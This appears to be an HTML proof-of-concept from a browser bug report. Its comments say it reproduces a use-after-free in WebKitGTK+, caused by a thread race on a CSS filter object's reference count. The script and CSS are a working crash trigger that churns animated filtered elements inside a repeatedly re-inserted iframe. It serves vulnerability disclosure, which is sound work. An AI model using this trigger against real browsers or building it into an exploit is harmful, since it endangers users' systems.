<!--
VULNERABILITY DETAILS
The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.
REPRODUCTION CASE
-->
<html>
<style>
@keyframes foo {
0% { opacity: 0; }
100% { opacity: 1; }
}
div {
animation-name: foo;
animation-duration: 1s;
animation-iteration-count: infinite;
filter: saturate(50%);
}
</style>
<body>
<script>
frame = document.createElement("iframe");
setInterval(_ => {
frame.remove();
document.body.appendChild(frame);
doc = frame.contentDocument;
doc.head.appendChild(document.querySelector("style").cloneNode(true));
elt = document.createElement("div");
elt.textContent = "foo";
let elements = [];
for (let i = 0, count = Math.random() * 50; i < count; ++i) {
elements[i] = doc.body.appendChild(elt.cloneNode(true));
elements[i].clientWidth;
}
}, Math.random() * 500);
</script>
</body>
</html>
<!--
VERSION
Reproduced on WebKitGTK+ build revision 240647.
This bug doesn't seem to affect WebKit on macOS/iOS.
-->
